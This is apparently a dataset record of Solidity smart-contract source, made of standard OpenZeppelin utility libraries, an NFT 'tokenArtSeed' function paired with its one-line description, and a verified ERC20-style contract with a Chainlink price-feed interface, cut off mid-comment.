/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
seed generates token history as a compact hexadecimal string/
function tokenArtSeed(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Symbiosis: unminted token has no seed"); uint256 nbOfOwner = _owners[tokenId].length; bytes memory _output = new bytes((2 + (20 + 5) * nbOfOwner + 5) * 2); uint256 _offst = 0; uintToHexString(_output, _offst, tokenId, 2); _offst += 4; uint256 i; for (i = 0; i < nbOfOwner; i++) { uintToHexString( _output, _offst, uint160(_owners[tokenId][i].account), 20 ); _offst += 40; uintToHexString(_output, _offst, _owners[tokenId][i].timestamp, 5); _offst += 10; } uintToHexString(_output, _offst, block.timestamp, 5); _offst += 10; return string(_output); }
5,716,769
/** *Submitted for verification at Etherscan.io on 2021-03-05 */ // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers 